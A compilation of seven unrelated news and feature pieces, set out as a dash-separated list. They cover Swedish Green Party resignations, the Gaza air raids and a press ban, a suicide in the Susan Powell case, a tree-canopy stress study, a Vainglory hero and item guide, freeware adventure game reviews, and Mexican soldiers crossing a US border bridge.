-As if Sweden wasn't troubled enough, The Local reports that another Green Party politician, who ignited a storm of controversy after refusing to shake hands with a female reporter on grounds that it violated his Muslim faith, announced on Wednesday that he was quitting politics. This follows the resignation of Sweden's housing minister following a week of mounting controversy over his contacts with Islamic organisations and Turkish ultranationalists.  During an interview with a female reporter from the TV4 broadcaster on Tuesday, Yasri Khan placed his hand over his heart instead of shaking her hand in greeting. "People can greet each other in different ways. The most important thing is to show respect by seeing each other, to meet each other… to respect each other," Khan said during an interview with state broadcaster Swedish Radio. Khan, also the general secretary of the organization Swedish Muslims for Peace and Justice, has faced strong criticism from within his party since the incident. "It is unacceptable. You can't have a man in the party who can't greet women in the same way you greet a man. I'm upset," Stina Bergström, a Green Party parliamentarian, told Swedish tabloid Aftonbladet. In interviews with Swedish media, Khan lashed out at his critics and said that the debate, and his fellow Muslim Green Party member Mehmet Kaplan's resignation, had caused him to run out of energy. "In today's political climate, I wonder if politics is right for me, and if I want to be a media circus clown," he told the Nyheter24 news site.  Kahn's resignation from the Green Party follows the resignation of another Green Party member - Sweden's housing minister, Turkish-born Mehmet Kaplan...  Sweden’s housing minister has resigned following a week of mounting controversy over his contacts with Islamic organisations and Turkish ultranationalists, piling further pressure on the country’s already unpopular minority coalition government. The Social Democrat prime minister, Stefan Lofven, said Turkish-born Mehmet Kaplan, a member of the junior coalition partner Green party and former spokesman for Sweden’s Muslim Council, had submitted his resignation and that he had accepted it. Sweden’s centre-left coalition of Social Democrats and Greens has been severely strained by Europe’s migration crisis, with the arrival of about 160,000 asylum seekers in the country last year forcing Stockholm to impose border controls and tighter rules in a U-turn on decades of generous refugee policies. Kaplan, 44, denied any wrongdoing and said he was stepping down because public and media criticism was making it impossible for him to do his job. He said he opposed “all forms of extremism, whether nationalistic, religious or in any other form” and supported “human rights, democracy and dialogue”. The minister, who was born in Turkey and arrived in Sweden at the age of eight, has come under increasing pressure after local media last week published photos of him at a dinner with Turkish ultranationalists, including the Swedish head of the extremist Grey Wolves organisation, and a former leader of the main Turkish nationalist group in Sweden, who was forced to resign earlier this month after calling on Turks to kill “the Armenian dogs”. The minister was further attacked for his links to a number of Islamic organisations, including the international Millî Görü? movement, that some suspect of promoting religious fundamentalism. Kaplan has acknowledged the ties, but said they “don’t mean I agree with them on everything”. The pressure increased at the weekend when Swedish media published seven-year-old footage of him comparing Israel’s policies towards Palestinians to the Nazis persecution of the Jews.  It has not been a good week for the centre-left party, the junior partners of Sweden's ruling coalition. On Tuesday its co-leader and deputy prime minister, Åsa Romson, landed herself in hot water after using the Swedish word for 'accident' (which can also mean 'misfortune') to refer to the September 11th terror attacks.
-Israel's army said on Tuesday it had completed preparations for a ground invasion of the Gaza Strip as air raids on sites connected to the militant group Hamas entered their fourth day.  "The ground forces are ready," an army spokeswoman said. "The option (of a ground operation) exists. It is possible that we will apply it but for the moment we are only hitting from the air and the sea."  Israel on Tuesday rejected any truce with Hamas until Palestinian militants stopped firing rockets into Israel and said its air strikes heralded "long weeks of military action."  On the fourth day of the air raids, at least 10 Palestinians were killed, including two sisters aged 10 and 12. Medical officials put Palestinian casualties since Israel launched its attacks on Saturday at 348 dead with more than 800 wounded. A United Nations agency said at least 62 of the dead were civilians. Four Israelis -- three civilians and a soldier -- have been killed by Palestinian rockets since the air strikes began.  Israeli media quoted Prime Minister Ehud Olmert as saying the Gaza operation was in "the first of a several stages."  The United Nations has called for an immediate truce. But Israeli Interior Minister Meir Sheetrit said "there is no room for a cease-fire" with Hamas until the threat of rocket fire had been removed. "The Israeli army must not stop the operation before breaking the will of the Palestinians, of Hamas, to continue to fire at Israel," he told Israel Radio.  Hamas spokesman Fawzi Barhoum has urged Palestinian groups to respond using "all available means" against Israel, including "martyrdom operations," which means suicide bombings.  The attacks are deepening divisions among Arab states. On Tuesday the Syrian leadership called on Egypt to break off diplomatic relations with Israel. Daily newspaper Tishreen, which is loyal to the Syrian government, wrote that Egypt "should return to its proper role as an Arab country that faces up to the political battle against Israel on the Palestinian issue." Many Arab countries are accusing Egypt of having agreed to the Israeli attacks on the Gaza Strip.  The issue has proven difficult for Muslims also because the Palestinians themselves are divided. Hamas took over control of the Gaza Strip in June 2007 from the Fatah Party loyal to Palestinian Authority President Mahmoud Abbas. The international community has sought to isolate Hamas and has refused to establish diplomatic relations with the group.  Concern about Press Freedom  Meanwhile foreign journalists in Israel are petitioning the country's highest court to let them into Gaza to report on the fighting. The ban has been in place for about two months, and has been lifted only occasionially during that time.  The petition was submitted on Sunday by the Foreign Press Association, which represents journalists covering Israel, the West Bank and Gaza. The court will hear the petition on Wednesday. Most of the current news footage from Gaza is being supplied by Palestinian journalists working for news agencies and for Arab news channels.  Ethan Bronner, correspondent for the New York Times, said Israel was breaching its own principles of press freedom by refusing to let foreign reports into Gaza. "They say they have security concerns -- but they have also made clear that they aren't happy with the reporting by international media," he said.  Schlomo Dror, spokesman for the Israeli Defense ministry, recently told the New York Times that he wasn't shedding any tears at the journalists' frustration. Israel had regarded much of the prior reporting from Gaza as unfair, he said.  Since Monday journalists can't even get close to the Gaza Strip. An area several kilometers wide around the border has been declared a restricted zone.
-MINNEAPOLIS, Minn. — The brother of Josh Powell has committed suicide in Minneapolis, according to reports.  The Minneapolis Police Department confirmed Michael Powell committed suicide at 2 p.m. Monday by jumping off a parking ramp.  Police are not sure at this time what led to Powell's suicide.  Powell's brother, Josh Powell, killed himself and his two sons in an explosion in Feb. 2012.  Days before the explosion, Powell had been denied custody of the children and ordered to undergo a psychosexual evaluation. He had long been suspected in the disappearance of his wife, Susan Cox Powell, who is still missing.  Timeline in Susan Cox Powell case: A more detailed timeline of events can be found here. 2009  Dec. 6 - The last time anyone saw Susan Powell  Dec. 7 - The day Susan Powell was reported missing  Dec. 9 - Police call disappearance of Susan Powell "suspicious"  Dec. 16 - Josh Powell named person of interest 2010  Jan. 9 - Josh Powell packs up West Valley City house  Dec. 6 - Josh Powell and his father, Steve, assert that Susan Powell ran away with missing Utah man Steven Koecher, who disappeared in Nevada in December 2009. 2011  Aug. 25 - West Valley Police serve warrant to Steve and Josh Powell  Sept. - Steven Powell faces charges of voyeurism and possessing child porn Sept. 23 - Susan's parents file for custody of Powell sons  Sept. 27 - Cox family gains temporary custody 2012  Feb 1. - Judge denies Josh Powell custody  Feb. 5 - Josh allegedly sends message to lawyer saying goodbye, home explodes shortly after  Michael Powell had launched — and subsequently removed — a website in Jan. 2012 claiming investigators had not done a thorough job of screening other family members, and that the Powell children were in danger while in the care of the Cox family.  The site included links to documents and news stories about the case and claimed police had bungled the investigation into Susan's disappearance.  Kiirsi Hellewell, a good friend of Susan Powell's, on Tuesday expressed her sorrow for what had happened.  "I was very sad, first of all that somebody would just throw their life away, and second of all, I feel sorry for Jennifer (Graves, Powell's sister) and her family, and the rest of her siblings," she said.  She said she also felt a sense of disappointment, though.  "There was another part of me that just thought, 'Oh great, now there's one more chance we might have had to find Susan, and maybe he knew something, and now it's gone,' " she said.  Stay with ksl.com, KSL TV and KSL Newsradio for more information as it becomes available.  ×  Related Stories
-CHAMPAIGN, Ill. - Writers, outdoor enthusiasts and leaf-peeping tourists have known for centuries that nature has restorative powers that reduce feelings of stress and promote a sense of tranquility.  While numerous studies have affirmed nature's stress-reduction properties, scientists haven't known the specific amount of exposure needed to induce these calming effects.  However, a study led by researchers at the University of Illinois is believed to be the first study to describe a dose-response curve derived from exposure to nature.  Researcher Bin Jiang and his colleagues found that viewing 3-D videos of residential streets with varying amounts of tree canopy significantly improved participants' physiological and psychological recovery from a stressful experience.  "For males, exposure to a six-minute video with moderate tree cover density evoked about three times the stress reduction as watching a video with no trees," said Jiang, a postdoctoral fellow and lecturer at Illinois who conducted the research at the university for his doctoral dissertation in landscape architecture.  To induce moderate stress, the study participants - 80 men and 78 women -delivered five-minute impromptu speeches before two interviewers and a video camera. Participants then solved several subtraction problems out loud, without using computing devices, paper or pencil.  Afterward, participants were randomly assigned to watch one of 10 panoramic 3-D videos that showed similar neighborhood streets on which the density of tree cover ranged from 2 to 62 percent.  Multiple measures were used to assess participants' stress levels and recovery during the experiment, including skin conductance, salivary cortisol levels and self-reports.  Skin conductance, which is a measurement of the skin's ability to conduct electricity, is directly related to the amount of sweat present on the skin. The steroid hormone cortisol is released by the adrenal cortex in response to stress.  Among the male participants, the researchers found a bell-shaped dose-response curve. As the tree canopy increased from 2 to 24 percent, the men's biomarkers of stress recovery improved proportionally. The men experienced the most stress-recovery benefits when they viewed tree canopy in the 24 to 34 percent range, and stress recovery declined when the percentage of tree cover surpassed 34 percent.  While women did not show the same physiological responses in salivary cortisol and skin conductance levels as the men, the researchers' analyses of the self-reports suggested that the women also experienced stress-reduction benefits that increased proportionally with the percentage of tree canopy viewed.  Less than half - 41 percent - of male and female participants who watched videos with minimal tree canopy described calming effects in their self-reports. However, when the percentage of tree canopy increased to 36 percent, more than 90 percent of viewers reported feeling calm or relaxed while watching the videos.  And all of the participants who viewed videos with the maximum percentage of tree canopy reported feelings of well-being.  "We found with the self-reports that participants who watched a video with 62 percent density reduced their stress levels by 60 percent; compared with their counterparts who watched a video with about 2 percent tree cover," Jiang said.  "Most studies just give a general comparison between exposure to barren and green urban landscapes," Jiang said. "The range of tree cover density in these videos, the multiple measures used and the dose-response provide solid evidence that urban trees are important to human health."  Higher levels of stress have been linked to several of the leading causes of death in the U.S. - such as cardiovascular disease, stroke, diabetes, some cancers and suicide. "The study suggests that maybe by creating widely dispersed areas within communities you can help reduce the stress people experience on an everyday basis, which contributes to these diseases," said William C. Sullivan, a professor of landscape architecture at the university and one of Jiang's co-authors.  "These studies have a bearing on how we design places, from the smallest aspect of a house, such as the number of windows and the orientation of the views, to the design of a neighborhood," Sullivan said. "We have to be vigilant about protecting easy access to natural or green spaces for people and the design of cities. We should have interconnected and widely dispersed green spaces accessible to all inhabitants. And my sense is that when we do that, we'll reap tremendous ecological and human health benefits."  A paper about the research was published recently in the journal Environment and Behavior. Co-authors of that paper were Linda Larsen, a senior instructor of English at Illinois; Dongying Li, a doctoral candidate in landscape architecture at Illinois; and Sullivan.  A second paper has been accepted for publication in the journal Landscape and Urban Planning. Chun-Yen Chang, the director of the Healthy Landscapes, Healthy People Lab at National Taiwan University, and Sullivan were Jiang's co-authors on that paper.  Jiang recently accepted a faculty appointment in landscape architecture at the University of Hong Kong, which he will begin in January 2015.
-Summer season introduces new items, critical gameplay changes and a new roamer who will have a major impact on hero compositions & draft strategy. Let’s dig in …  LYRA ABILITIES & BREAKDOWN  Lyra uses healing and protective magic to turn enemy positions into powerful zones for her allies. Utility and defense items improve her role as a healer, while crystal items provide a devastating-but-fragile mage path.  QUICK START:  Learn Imperial Sigil (Ability A) first. Upgrade and overdrive it first.  Upgrade and overdrive it first. Take Bright Bulwark (Ability B) at level 2 but upgrade it last. Only overdrive situationally.  but upgrade it last. Only overdrive situationally. Learn and upgrade Arcane Passage (Ultimate) whenever possible.  Principle Arcanum (Heroic Perk)  Lyra’s attacks are arcane missiles, dealing crystal damage. If she holds her ground after releasing an attack, she automatically channels and releases a much stronger arcane missile that deals additional crystal damage and briefly slows its target. Each channeled missile consumes energy, but Lyra can continue using these even if she runs out of energy.  HEROIC PERK BREAKDOWN:  Once the first missile has locked on, the second is guaranteed to land as well, provided Lyra finishes channeling.  For basic-attack (on-hit) effects and weapon items, both the first and second arcane missiles are considered basic attacks.  Attack speed affects the channeling time, in addition to the time between shots.  While the second missile is much stronger, it also puts Lyra’s next attack onto a slightly longer cooldown.  The projectile speed on the first missile increases with attack speed.  Imperial Sigil (A)  Lyra forms a sigil at the target location, revealing surrounding enemies. While this sigil remains active, it heals nearby allied heroes and damages nearby enemy heroes. Lyra can reactivate this ability at any time to detonate the sigil, dealing heavy damage to surrounding enemies while providing a burst of healing and a moderate move speed boost to nearby allies.  IMPERIAL SIGIL BREAKDOWN:  Lyra’s healing is increased with her bonus health from items.  The cooldown won’t begin until the detonation occurs, either manually or after running out.  Because heroes consume the sigil, you can reduce the healing from an enemy Lyra by getting near her sigil and draining some damage.  Detonate Imperial Sigil beneath allies while moving around the map.  Imperial Sigil can be used for vision, but the tradeoff is that it won’t start its cooldown until it’s detonated (manually or after timing out).  Bright Bulwark (B)  After a brief delay, Lyra releases a pulse of magical energy, damaging and applying a decaying slow to surrounding enemies. The affected area then becomes a walled zone of protection that deals the same damage and slow to enemies attempting to cross its borders. Enemies inside the zone are snared, allowing them to move normally but preventing them from using movement abilities.  BRIGHT BULWARK BREAKDOWN:  This stops “dash” abilities, including jumps like Joule’s leap.  However, it does not stop movement-speed increases like Catherine’s Mercilless Pursuit. The slow is strong enough to noticeably reduce those abilities, though.  When an ally pulls/pushes an enemy into the wall, the enemy will stop at the wall rather than go their full distance.  You can Reflex Block while snared to buy enough time to dash. Lance can use Gythian Wall on overdrive to do this as well.  The slow and damage have a short internal cooldown (1.8 seconds). Don’t stand on top of the wall if you want to avoid getting hit again.  Bright Bulwark is incredibly powerful against dash-dependent heroes such as Glaive. In some situations, this can allow you to stand and fight when you would otherwise need to retreat.  If it’s not effective enough, consider learning the overdrive.  Arcane Passage (C)  Lyra blinks to the target location, leaving portals at both the beginning and the end of the blink. Portals last for a few seconds, allowing allied and enemy heroes to move freely between them in both directions. Heroes must wait several seconds before they can re-enter a portal. This cooldown is also applied to enemies when Lyra hits them with the initial pulse of Bright Bulwark.  ARCANE PASSAGE BREAKDOWN:  Portals are globally visible for both teams.  Heroes gain a small boost of speed when exiting portals.  Heroes currently dashing or being affected by pulls or knockbacks will not enter a portal.  Heroes standing directly on top of a portal when they spawn will not be pulled through until they move off the portal and re-enter. (This is a snipe protection for Adagio and other heroes who have no means of avoiding the effect.)  Enemies cannot use portals until 1 second after they’ve formed, but Lyra and her allies can enter immediately.  USING LYRA’S PORTALS:  Both teams can use portals with no negative effects. Just walk onto them.  Portals are typically better for strategic map movement than going directly into an enemy team, unless you have a specific plan or comp for it. If you form a portal far away from enemies and then make the destination portal away from enemies, you can prevent enemies from easily accessing portals. This can make for effective flanks, especially in combination with Bright Bulwark.  The initial pulse of Bright Bulwark puts affected enemies on the full portal cooldown. If you need to get away from enemies, use Bright Bulwark first, then immediately portal away. If you need to create a beachhead for your team, you can portal near enemies and use Bright Bulwark, allowing your allies to join you while preventing enemies from escaping.  PLAYING AS LYRA  Lyra is a powerful healer with a roam primary path.  with a roam primary path. Pair her with ranged heroes such as Celeste who like to be on the edge of fights. Lyra’s protective zones will keep them safe on the back line.  who like to be on the edge of fights. Lyra’s protective zones will keep them safe on the back line. Or, form comps with slower heroes such as SAW, Phinn & Krul since Lyra can teleport them into the fight from a distance.  such as SAW, Phinn & Krul since Lyra can teleport them into the fight from a distance. Lyra’s secondary path is as a crystal mage. If you’d like to try this, she has excellent synergy with Alternating Current because her perk fires two arcane missiles in a row. The perk trades her positioning for power, which can be a dangerous gambit. However, it’s incredibly powerful against fleeing enemies.  If you’d like to try this, she has excellent synergy with because her perk fires two arcane missiles in a row. The perk trades her positioning for power, which can be a dangerous gambit. However, it’s powerful against fleeing enemies. When you’re last-hitting, consider staying at maximum attack range. The light and heavy attack will hit at nearly the same time, making it much easier to successfully last-hit.  PLAYING VS LYRA  Lyra is extremely fragile even with health items due to unusually low armor and shield.  even with health items due to unusually low armor and shield. Focus her and burst her down. Build items accordingly.  Build items accordingly. Select any heroes who can get to her quickly and take her out. Taka is a great example. Even though he seems susceptible to Bright Bulwark, a sneaky Taka can often get to Lyra faster than the bulwark can go down — especially with X-Retsu.  SUMMER GAMEPLAY CHANGES  Starting in Summer season, you’ll have much more build freedom and diversity. Let’s look at why …  AMBIENT GOLD  Ironguard Contract no longer provides a gold bonus. Instead, this is replaced with an always-on mechanic affecting all heroes.  Ambient Gold: Whenever anyone kills a minion or monster, a nearby ally within 14 meters earns 75% of the bounty as bonus gold. If two allies are nearby, whichever hero has lower net worth earns the Ambient Gold.  In short, roam players are no longer required to buy an Ironguard Contract at the start of every single match, which opens them up to many more itemization choices. There is no requirement to eventually turn that Ironguard Contract into a Warhorn or Contraption, so many more possibilities unfold.  This change also means that roamers taking last hits will no longer have a large negative impact on a team’s gold net worth. Instead, they’ll still generate the same amount of gold since there will always be a 100%/75% split to two team members near each other.  Additionally, we expect to see many more strategies become viable from the way gold is distributed among team members. Teams may now more strategically decide where to funnel gold when they have multiple heroes reaching item breakpoints.  EXPERIENCE & GOLD RANGE  Experience and gold range are both set to 14 meters. It is still possible to hyper-level a hero … but your team will be giving up far more to do so.  Following closely behind Ambient Gold is the change to experience range. Prior to 1.19, the range where a hero could acquire experience from a kill in the jungle was 5.6, whereas the range where Ironguard Contract granted gold was 14. In addition to being a fairly invisible mechanic, this created a zone where a player could get Ironguard Contract gold while giving up experience — more commonly known as hyper-leveling.  This led to situations where a team member could end up significantly under-leveled in favor of rushing an allied hero to a potential level power-spike. While we find the practice of hyper-leveling innovative and tactically interesting, we wanted to make sure that a player was not denied experience simply from the role or hero they chose.  As such, in 1.19, we have decided to change experience range to 14, which matches the range of Ambient Gold. This means that if you are in range for Ambient Gold, you will also be in range to share experience.  If a team so chooses, they are still able to hyper-level a hero, (which would not be too surprising for the first rotation to hit a level-2 power spike). However, they would be trading that for a potential loss of 75% increase in gold from each monster or minion that is killed.  EXPERIENCE DISTRIBUTION  With the change to experience and the addition of Ambient Gold, some adjustments to experience distribution were in order.  Experience gain when multiple allies are nearby:  One: 100%  Two: 85/40%  Three: 65/30/30% (killer gets the larger amount).  GOLD TRICKLE  Gold trickle up from 4 to 5 per second.  NEW ITEMS COMING IN SUMMER UPDATE 1.19  The other major reason for more build flexibility is more item choice!  NEW CONTRACT ITEMS  With the introduction of Ambient Gold, Ironguard Contract is no longer a staple item for every roam build. Instead, a few early-game options have been introduced into the OTHER section in the item shop. These can grant a significant amount of power early on, or if you find the need for a small power boost at any given time for a fairly low cost, these new Contract items are fantastic options. However, keep in mind that none of these Contracts upgrades into anything, though they can be sold back for half the purchase cost.  IRONGUARD CONTRACT  Ironguard is now specifically geared toward coming out of the jungle with a bit more battle readiness and to keep both members of a jungle duo topped off to fend off invasions. While no longer a necessity, Ironguard still makes for a fantastic starting purchase.  Passive: When a nearby ally kills a jungle monster, you both heal for 75 health  Range: 14m  health Range: Cost: 300 gold  Protector Contract  A much more defensive start, the Protector Contract allows you to protect your teammates — as long as you are close enough to do so. This is a fantastic purchase if you expect heavy aggression coming out from the opposing team or if you plan on team fighting early on.  Activate: Grant a 120 health barrier to the nearest ally hero for 2 seconds. 5s cooldown. 2 max charges, 20s per charge.  Range: 8m  health barrier to the nearest ally hero for seconds. cooldown. max charges, per charge. Cost: 300 gold  Dragonblood Contract  The Dragonblood Contract supports early aggression and may allow you to dominate early on in a match; however, this initial advantage falls off very quickly. Having a fairly long recharge time and a fixed amount of damage, it is a great tool for early aggression and calculated ganks, but it is a good candidate to replace once mid-game rolls around.  Activate: After a brief delay, nearby enemy heroes are marked for 3 seconds. The next basic attack from an ally consumes the mark, slowing by 30% for 2s and dealing 75 bonus crystal damage. 15s cooldown. 2 max charges, 40s per charge.  Range: 4m  seconds. The next basic attack from an ally consumes the mark, slowing by for and dealing bonus crystal damage. cooldown. max charges, per charge. Cost: 300 gold  NEW UTILITY ITEMS & REWORKS  Stormguard Banner  Stormguard Banner has been reworked to be a strong pickup for heroes who have weak wave/jungle clear abilities and for teams who intend to prioritize objective control over constantly battling the enemy team. However, this does come with the caveat that you will be giving up a significant amount of combat power.  Passive: After using an ability, your next 3 basic attacks in the next 6 seconds deal 75 bonus true damage to non-heroes or 20 to heroes. Can only be refreshed once every 6 seconds.  basic attacks in the next seconds deal bonus true damage to non-heroes or to heroes. Can only be refreshed once every seconds. +2.5 Energy Recharge  Energy Recharge +150 Energy  Energy Energy Battery (300) + Recipe (800) = 1100  Stormcrown  An upgraded version of the new Stormguard Banner. Deals significant but not overwhelming damage to heroes, but it’s fantastic for quickly taking down objectives.  Passive: After using an ability, your next 4 basic attacks in the next 6 seconds deal 140 bonus true damage to non-heroes or 35 to heroes. Can only be refreshed once every 6 seconds.  basic attacks in the next seconds deal bonus true damage to non-heroes or to heroes. Can only be refreshed once every seconds. +30% Cooldown Speed  Cooldown Speed +5 Energy Recharge  Energy Recharge +200 Energy  Energy +150 Health  Health Stormguard Banner (1100) + Chronograph (800) + Recipe (300) = 2200  Journey Boots  Running fast is a lot of fun. Running fast often is even more fun.  Passive movement speed up from 0.5 to 0.6  to Cooldown increased from 30 to 60  to Passive: Damaging heroes instantly sets the cooldown to 12 seconds if it is above it.  seconds if it is above it. Armor, Shield and Health Regen removed  Health down from 300 to 250  War Treads (Warhorn is now a type of Boots)  These new boots have replaced Warhorn has a team-wide mobility option. If you ever find yourself in the situation where you need to get your team into or out of a fight quickly, War Treads is a perfect purchase.  Activate: Nearby allies Sprint for 2 seconds ( 60s cooldown).  seconds (  Passive: +0.4 Movement speed  Movement speed  Passive: Travel Boots  +500 Health  Stormguard passive removed  Travel Boots (1000) + Dragonheart (650) + Recipe 850) = 2500  Halcyon Chargers  A powerful new option for both running down your foes or escaping from a pursuer. Halcyon Chargers should easily be able to get you in or out of danger once. Choose this over Journey boots when prioritizing ability usage from cooldown speed.  Activate: Sprint for 3 seconds ( 50s cooldown).  seconds ( cooldown).  Passive: +0.5 Movement speed  Movement speed  Passive: Travel Boots  +200 Health  +15% Cooldown Speed  Cooldown Speed  +4 Energy Recharge  Energy Recharge  +250 Energy  Energy  Travel Boots (1000) + Void Battery (700) + Recipe (600) = 2300  Flare Gun  Offering an early game vision option. Pick up a Flare Gun if you plan to constantly track your enemies.  Activate: Fire a Flare at target location. ( 18s cooldown).  +250 Health  Health Oakheart (300) + Recipe (300) = 600  Contraption  No longer building out of Stormguard Banner, Contraption now charges a bit faster and offers a bit more defensive power.  Cooldown up from 3 to 5 seconds ( 18s per charge)  +350 Health  Health +35% Cooldown Speed  Cooldown Speed +3 Energy Recharge  Energy Recharge Health Regen removed  Stormguard passive removed  New Recipe: Flare Gun (600) + Chronograph (800) + Recipe (700) = 2100  OTHER  Kraken is no longer affected by any positive buffs (i.e. Warhorn speed boost and Adagio’s Gift of Fire).  Players may no longer walk into the area where the Jungle Shop resides.  Tap area of the jungle shop has been decreased to avoid accidental shopping during fights.  Flares are no longer globally visible, but brush will not inherently hide them if there’s vision on that area.  RELATED ARTICLES  This is only a part of the massive Summer improvements coming in Update 1.19. For more previews, check these out:
-This month you can investigate a series of crimes as a consultant, look into your boss’s murder, or seek out the truth in a dark and dusty bunker. For roles outside the norm, you can play a damsel rescuing a knight in distress, a dreamer delving into the collective subconscious, or a man seeking to become the champion of facial hair. Alternatively, you can continue two series, one featuring a modern girl dealing with the Greek myths and the other a Victorian gentleman delving into dark secrets. All these await you in this month’s roundup of releases from the freeware scene.  The Last Door: Chapter 4 – Ancient Shadows  My quest for answers has brought me to the house of another old friend. I believed the experiments in paranormal phenomena he conducted might give me the answers I seek. But my hopes appear dashed as I find the servants missing and my friend in a catatonic state. Perhaps if I follow his work and enact the experiments myself, maybe I will be able to restore him. But the woods are dark, and something violent lurks there in the shadows. Am I working my way to salvation, or damning myself once and for all?  This closing chapter to the first season of The Game Kitchen’s series serves up another slice of Victorian horror. The pixelated graphics of the series continue here, with you once again donning the mantle of Jeremiah Devitt. The action once more takes place at night, with dark shadows everywhere. This is especially true of the surrounding woods, which appear almost entirely in silhouette until you can take a light source into them. You will also discover a sinister darkroom and a deep cellar. The characters are faceless as before, though the character of Devitt is still recognisable from previous episodes. The game once again sports a dramatic full orchestral soundtrack, with both recurring tunes and new pieces. Sound effects continue to play an important part in the atmosphere as well, with whistling wind and creaking timbers setting the player’s nerves on edge.  Whilst knowledge of the previous chapters is not vital to playing this one, it is highly recommended that you do so. As with its predecessors, this is not a game for the faint-hearted, as this is a well-crafted horror game. Here again the horror is largely conveyed through tone, though there are a couple of effective blatant scares. Documents scattered around the house give you clues to what has happened there, as well as assistance with puzzles. Inventory plays a major role, especially finding a light source to explore the darker areas of the game. You will also need to make some inventive, and occasionally grisly, combinations to achieve your goals. Two characters that have appeared in previous instalments are more fully introduced here, both showing an interest in tracking Devitt’s activities. The game ends on a cliffhanger, but with crowdfunding for the new season’s first episode well on the way to its goal, it seems likely the story will continue.  The Last Door: Chapter 4 – Ancient Shadows can be played online or downloaded from the developers’ website. The previous chapters are also available here. Registration is required, but does not come with any further obligation.  Fingerbones  You find yourself in a dark and dusty room. Light is filtering through the windows, allowing you to make out pieces of furniture. The room has obviously not been cleaned for a long time. Large cobwebs are hanging in the corners. As you explore the room and its surrounding areas, you’ll find notes written by a former inhabitant that gradually reveal that something horrible happened here.  Fingerbones is David Szymanski's first attempt at making an adventure game. It is a fairly short and basic adventure, but it is quite well made. The first-person game is rendered in real-time 3D, although the environment is quite bare, with only a few items of furniture scattered about. The graphics are done in dark hues of yellow, grey and brown with fairly blocky textures. The music, which consists of long, dark notes, gets eerier the further you progress. Creepy sounds and dust floating around the rooms add to the atmosphere.  The game is somewhat reminiscent of Gone Home, in which you also have to piece the backstory together from documents and other objects scattered about the house. In Fingerbones, you discover more and more evidence of the horrible things that happened in the now-deserted house. The game only has a few puzzles that come up during your investigation, mainly involving getting machinery working and finding passwords for locks. The interface is very simple: you steer yourself using the WASD keys and look around using the mouse. Sometimes a white dot that functions as a cursor appears. When the dot expands you can perform an action by clicking the mouse. There is no inventory and no option to save, but you can exit the game using one of the doors in the room you started in.  Fingerbones can be downloaded from itch.io.  Bickadoodle  In a typical light fantasy setting, a princess waits in a high stone tower for a brave knight to come rescue her. Right on cue, a brave knight appears, ready to serenade this lovely lady. Alas, a dragon seems intent on keeping the couple apart. Clearly not having been told of its normal role in events, it carries the knight off to its mountain lair. It looks like this time it is the princess who must brave perils, overcome mighty obstacles and face the dragon if she is to have her happy ending.  Aetheric Games have created a nice little game that puts a twist on the classic tale. The graphics are drawn as if written in a school notebook, complete with the regular ruled lines behind the scenery. The environments themselves are well-drawn and brightly coloured, from the slightly wonky tower home of the princess to a castle fortress perched precariously on a high atoll. By contrast, the characters are stick figures, though with some clothing, such as a farmer’s rustic hat. The characters are minimally animated, moving around with a hopping motion, though their faces are animated while speaking. The soundtrack is a variety of simple tunes, changing from scene to scene along with a range of sound effects. The game is also voiced in a way; speech is conveyed as a series of mumbles conveying the tone, with the meaning shown through pictorial speech bubbles.  As befits the setup, this is a lightly humorous game. The knight’s horse is hiding up a tree, the king is bereft of funds, and the local townsfolk think the princess’s pointy hat means she is actually a witch. Left-clicking moves the princess around and interacts with the environment. Right-clicking brings up the inventory. Enticing the knight’s horse down should be an early aim, as the princess is quite slow at moving around on foot. You will distract a farmer so you can vandalise his orchard, take advantage of a free exchange policy for magical potions, and hunt for lost treasure. As well as subverting the damsel in distress setting, the story takes swipes at other genre and game conventions. The king expects the heroine to do everything, including finding the funds for the dragon-killing potion. She also objects if asked to carry too much.  Bickadoodle can be downloaded from the developer’s website.
-A group of 33 Mexican soldiers is back home after crossing the Donna-Rio Bravo International Bridge in four military Hummers.  The soldiers surprised American officials at the bridge around 1:50 p.m. Tuesday.  U.S. Customs and Border Protection (CBP) spokes man Felix Garza said nobody was injured and the incident ended peacefully.  The soldiers spent a little more than three hours on American side of the bridge before being "processed" and being allowed to return home.  American officials would not confirm if the soldiers were fully armed but Garza said nobody was injured during the incident.  "I can't answer whether or not they were armed or not but I can tell you that they were conducting their work that they do as military and somehow they lost sight of the boundary line and entered U.S. territory," Garza said.  Border Patrol agents and local law enforcement agencies responded to the scene to support customs officers.  Garza said that customs officers quickly initiated the proper protocols for the situation.  "We continue to work with our partners in Mexico," Garza said. "We continue to have a shared responsibility over the security of the border and we maintain constant communication with them."  U.S. Immigration & Customs Enforcement officials told Action 4 News that they will continue to investigate the incident.  Mexico's Ministry of National Defense (SEDENA) reports that the soldiers "involuntarily" crossed the border.  SEDENA officials reported that soldiers had to continue on their path because the only vehicle turnaround was on the American side of the border.  Mexico's Ministry of National Defense Released The Following Statement:  Reynosa, Tamps July 26, 2011 - The Ministry of National Defense, through its command post at the 8th Military Zone, informs the public that today, military personnel assigned to this area and out on patrol involuntarily crossed the border with the United States of America at the Rio Bravo-Donna International Bridge due to the vehicle turnaround being on the American side. The situation was cleared up with immigration officials in the neighboring nation. The military personnel returned to their national territory to continue their routine activities.  Declaracin de la SEDENA:  Reynosa, Tamps., a 26 de julio de 2011.- La Secretara de la Defensa Nacional, por conducto de la comandancia de la 8/a. Zona Militar, informa a la opinin pblica que esta fecha, personal militar jurisdiccionado a este mando territorial durante reconocimientos en la zona fronteriza, llev a cabo un cruce involuntario de la frontera con los Estados Unidos de Amrica, por el puente internacional Rio Bravo-Donna, en virtud de que el retorno vehicular se encuentra en el lado norteamericano, situacin que fue aclarada a las autoridades de inmigracin del vecino pas en dicho punto; una vez hecho lo anterior, el personal militar retorn a territorio nacional para continuar con sus actividades rutinarias.
